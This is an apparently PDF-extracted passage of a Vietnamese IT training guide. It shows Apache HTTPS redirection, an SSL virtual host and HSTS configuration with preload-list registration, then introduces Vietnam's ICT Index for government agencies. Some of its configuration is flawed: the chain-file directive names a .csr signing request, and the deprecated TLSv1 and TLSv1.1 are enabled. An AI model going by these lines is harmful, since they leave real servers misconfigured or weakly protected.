RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI}
[R=301,L]
o Save file.
- Restart httpd và kiểm tra trên chrome bằng cách gõ cysecure.com
119
chúng ta được phục vụ qua giao thức HTTPS. Khuyên chọn max-age ít nhất 6 tháng
(15552000 giây)
Khi trình duyệt tương tác với webserver đã bật HSTS, nó sẽ tìm một header
đặc biệt nói rằng trình duyệt chỉ nên sử dụng giao thức HTTPS để kết nối với server.
Ngoài ra có một giá trị thời gian max-age liên kết với header trên cho phép
trình duyệt biết chủ quản trị server muốn chắc chắn rằng trang web đó chỉ nên được
truy cập thông qua HTTPS trong một thời gian định sẵn. Giá trị max-age nên là
khoảng thời gian dài, ít nhất 6 tháng, hoặc có thể nhiều năm.
Khi trình duyệt đã truy cập vào trang web một lần và thấy header trên, trình
duyệt sẽ nhớ rằng website này chỉ nên được truy cập thông qua HTTPS trong
khoảng thời gian max-age.
Nếu vì một lý do gì đó chúng ta muốn reset các thiết lập HSTS được lưu
trong Chrome cho domain của chúng ta. Vào chrome://net-internals/#hsts, nhập
domain ở mục Query domain để kiểm tra hoặc xóa domain ở mục Delete domain
120
# line 60: uncomment and specify the server name
ServerName cysecure.com:443
# line 75: change
SSLProtocol -All +TLSv1 +TLSv1.1 +TLSv1.2
# line 100: change to the one got in [1]
SSLCertificateFile /etc/pki/tls/certs/cysecure.com.crt
# line 107: change to the one got in [1]
SSLCertificateKeyFile /etc/pki/tls/certs/cysecure.com.key
# line 116: change to the one got in [1]
SSLCertificateChainFile /etc/pki/tls/certs/cysecure.com.csr
o Thêm các dòng sau vào httpd.conf
Vi /etc/httpd/conf/httpd.conf
#Move http to https$
<VirtualHost *:80>$
<Directory /var/www/html>$
AllowOverride All$
</Directory>$
DocumentRoot /var/www/html$
ServerName cysecure.com$
ServerAdmin cysecure.com/administrator$$
ServerPath cysecure.com/$$
ServerAlias www.cysecure.com$
</VirtualHost>$
$
<VirtualHost *:443>$
SSLEngine on$
SSLCertificateFile /etc/pki/tls/certs/cysecure.com.crt$
SSLCertificateKeyFile /etc/pki/tls/certs/cysecure.com.key$
<Directory /var/www/html>$
AllowOverride All$
</Directory>$
DocumentRoot /var/www/html$
ServerName cysecure.com$
ServerAdmin cysecure.com/administrator$
ServerPath cysecure.com/$
ServerAlias www.cysecure.com$
# HSTS config$
# Guarantee HTTPS for 1 Year including Sub Domains $
Header always set Strict-Transport-Security "max-
age=31536000; includeSubDomains"$
</VirtualHost>$
o Restart httpd: service httpd restart
o Ta dùng browser truy cập vào cysecure.com
121
o Nếu chúng ta thử đi vào folder bất kì ví dụ như thư mục administrator
o Trình duyệt sẽ luôn truy cập với SSL bất kể đi vào đường dẫn URL nào
o Dùng Wireshark bắt gói tin sẽ thấy các gói tin chủ yếu sử dụng port 443 là
https với giao thức TLSv1.2
122
Note: Để kiểm tra lại HSTS đã config, chúng ta truy cập vào và domain đã
config (lưu ý domain phải được đăng ký bởi nhà cung cấp), kết quả như bên
dưới là OK
123
đó lỗi trang https, thì sẽ rất mất nhiều thời gian (hàng tháng trời) để xóa website khỏi
preload list.
Các yêu cầu để có thể đăng ký website vào HSTS Preload list:
- Có một chứng chỉ bảo mật
- Chuyển hướng HTTP tới HTTPS
- Tất cả subdomain hỗ trợ HTTPS, bao gồm cả www.
- Thời gian hết hạn (max-age) tối thiểu trong header HSTS là 18 tuần (10886400
giây)
- Phải có chỉ dẫn includeSubdomains và preload
Cuối cùng, đợi kết quả chấp thuận sau khoảng vài tuần, sau đó, đợi vài tháng đến
khi có bản cập nhật mới của Chrome, Firefox, Edge, domain của chúng ta sẽ nằm
trong danh sách preload list của Google.
- Đăng ký website vào HSTS Preload List tại trang https://hstspreload.org/
- Hoặc xóa website khỏi HSTS Preload List tại trang:
https://hstspreload.org/removal/
124
Phần 5: ICT Index
1. Giới thiệu ICT index, hiểu rõ các chỉ mục và vấn đề tối ưu chỉ số.
2. Nội dung:
Ứng dụng CNTT (thảo luận về vấn đề phát triển ứng dụng CNTT phục vụ
công việc – số hóa quản lý thủ tục hành chánh,…)
Nhân lực CNTT (tham gia các lớp tập huấn, đào tạo để phát triển nhân lực
chất lượng cao)
Phát triển hạ tầng CNTT
3. Tổng quan: Trình bày các hạng mục nhằm cải thiện, nâng cao chỉ số ICT
index cho đơn vị
125
1. Giới thiệu
a. ICT là gì? :
- ICT là cụm từ thường dùng như từ đồng nghĩa rộng hơn cho IT, nhưng thường
là một thuật ngữ chung để nhấn mạnh vai trò của truyền thông hợp nhất và sự
kết hợp của viễn thông (đường dây điện thoại và tín hiệu không dây), hệ thống
quản lý tòa nhà thông minh và hệ thống nghe-nhìn trong công nghệ thông tin
hiện đại.
- Trong lĩnh vực CNTT, ICT là từ viết tắt của Information & Communication
Technologies có nghĩa là Công nghệ thông tin và Truyền thông.
- ICT bao gồm tất cả các phương tiện kỹ thuật được sử dụng để xử lý thông
tin và trợ giúp liên lạc, bao gồm phần cứng và mạng máy tính, liên lạc trung
gian cũng như là các phần mềm cần thiết.
- ICT bao gồm IT cũng như là điện thoại, phương tiện truyền thông, tất cả các
loại xử lý âm thanh và video, điều khiển dựa trên truyền tải và mạng và các chức
năng giám sát.
=> Từ đó, ta có thể hiểu đơn giản: ICT là sự kết hợp của công nghệ thông tin và công
nghệ truyền thông để tạo nên sự kết nối và chia sẻ thông tin với nhiều hình thức
khác nhau.
126
b. ICT Index là gì?
Theo Liên minh bưu chính quốc tế (ITU): ICT Index là thước đo mức độ phát triển
về Công Nghệ Thông Tin và Truyền Thông
Theo Đại học Havard (Mỹ): ICT Index là thước đo mức độ sẵn sàng cho phát triển
và ứng dụng Công Nghệ Thông Tin và Truyền Thông.
Ở Việt Nam có các chỉ số ICT theo các cấp độ sau:
1. ICT Index của Tỉnh - Thành: Chỉ số về độ sẵn sàng cho ứng dụng và phát triển
CNTT-TT của Tỉnh - Thành. (Bao gồm 2 nhóm chỉ số: hạ tầng và ứng dụng)
2. ICT Index của Bộ - Ngành: Chỉ số về độ sẵn sàng cho ứng dụng và phát triển
CNTT-TT của Bộ-Ngành. (Bao gồm 2 nhóm chỉ số: hạ tầng và ứng dụng)
3. ICT Index của Doanh nghiệp: Chỉ số về năng lực sản xuất, kinh doanh trong lĩnh
vực CNTT-TT của Doanh nghiệp. (Bao gồm 2 nhóm chỉ số: kết quả sản xuất kinh doanh và
năng lực cạnh tranh)
2. Nội dung
1.Ứng dụng CNTT (thảo luận về vấn đề phát triển ứng dụng CNTT phục vụ công việc
– số hóa quản lý thủ tục hành chánh,…)
2.Nhân lực CNTT (tham gia các lớp tập huấn, đào tạo để phát triển nhân lực chất
lượng cao)
127
Tỷ lệ công chức, viên chức được tập huấn về phần mềm nguồn mở
(PMNM)
Tỷ lệ công chức, viên chức trong các CQNN được tập huấn về ATTT.
o Hạ tầng kỹ thuật của các cơ quan nhà nước (CQNN): gồm 04 chỉ tiêu thành
phần:
Tỷ lệ máy tính/CBCCVC trong các CQNN của tỉnh;
Tỷ lệ băng thông/CBCCVC trong các CQNN của tỉnh;
Tỷ lệ CQNN của tỉnh có kết nối WAN của tỉnh hoặc mạng chuyên
dùng của Chính phủ;
Triển khai các giải pháp an toàn thông tin và an toàn dữ liệu trong các
CQNN của tỉnh
128
References:
- https://nopviet.com/threads/hsts-la-gi-preload-list-la-gi-huong-dan-cau-hinh-hsts-
cho-website-tren-apache.682/
- https://www.server-world.info/en/
- https://thuvienphapluat.vn/van-ban/Cong-nghe-thong-tin/Ke-hoach-332-KH-
UBND-2017-cai-thien-chi-so-san-sang-cho-phat-trien-cong-nghe-thong-tin-Lao-
Cai-376382.aspx
- http://www.idz.vn/2016/10/modesecurity-gioi-thieu-modsecurity.html
129